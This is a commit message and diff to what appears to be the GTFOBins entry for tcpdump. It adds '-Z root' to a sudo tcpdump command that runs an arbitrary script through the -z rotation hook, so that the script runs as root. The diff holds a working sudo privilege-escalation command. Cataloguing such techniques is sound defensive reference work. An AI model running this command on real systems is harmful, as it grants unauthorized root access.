Providing user as argument using -Z

For certain distributions running tcpdump without providing -Z (user) argument
causes the provided command to be executed as the `tcpdump` user which has low
privileges by default.

_gtfobins/tcpdump.md

@@ -17,5 +17,5 @@ functions:
         TF=$(mktemp)
         echo "$COMMAND" > $TF
         chmod +x $TF
-        sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
+        sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
 ---